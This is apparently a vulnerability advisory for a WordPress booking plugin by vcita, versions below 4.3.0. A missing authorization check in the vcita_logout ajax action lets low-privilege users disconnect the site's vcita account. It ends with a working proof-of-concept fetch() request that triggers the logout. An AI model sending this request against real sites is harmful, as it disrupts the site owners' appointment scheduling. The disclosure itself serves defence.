Online Booking & Scheduling Calendar for WordPress by vcita < 4.3.0 - Subscriber+ Denial of Service by account logout

2023-06-0200:00:00

wpvulndb

wordpress

scheduling

calendar

denial of service

logout

exploit

vulnerability

EPSS

0.001

Percentile

39.3%

JSON

The plugin does not validate authorization in the vcita_logout ajax action, allowing any logged in user (with roles as low as subscriber) to log the site out from the cvita account, causing a denial of service for the appointment scheduling functionality.

fetch(“/wp-admin/admin-ajax.php?action=vcita_logout”, {
     method: “POST”,
     headers: {
       Accept: “*/*”,
       “Content-Type”: “application/json”,
     },
   });